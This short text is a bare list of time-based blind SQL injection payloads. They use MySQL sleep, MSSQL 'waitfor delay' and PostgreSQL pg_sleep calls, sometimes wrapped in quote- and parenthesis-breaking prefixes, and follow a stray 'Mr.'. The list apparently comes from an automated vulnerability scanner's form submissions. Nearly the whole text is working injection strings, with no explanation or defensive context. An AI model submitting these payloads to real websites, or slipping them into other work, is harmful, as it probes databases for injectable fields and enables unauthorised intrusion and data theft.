Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

UtL8UhEV'; waitfor delay '0:0:15' --

HJ5lVpou'); waitfor delay '0:0:15' --

xFyNGTEN')); waitfor delay '0:0:15' --

-5 OR 712=(SELECT 712 FROM PG_SLEEP(15))--

-5) OR 303=(SELECT 303 FROM PG_SLEEP(15))--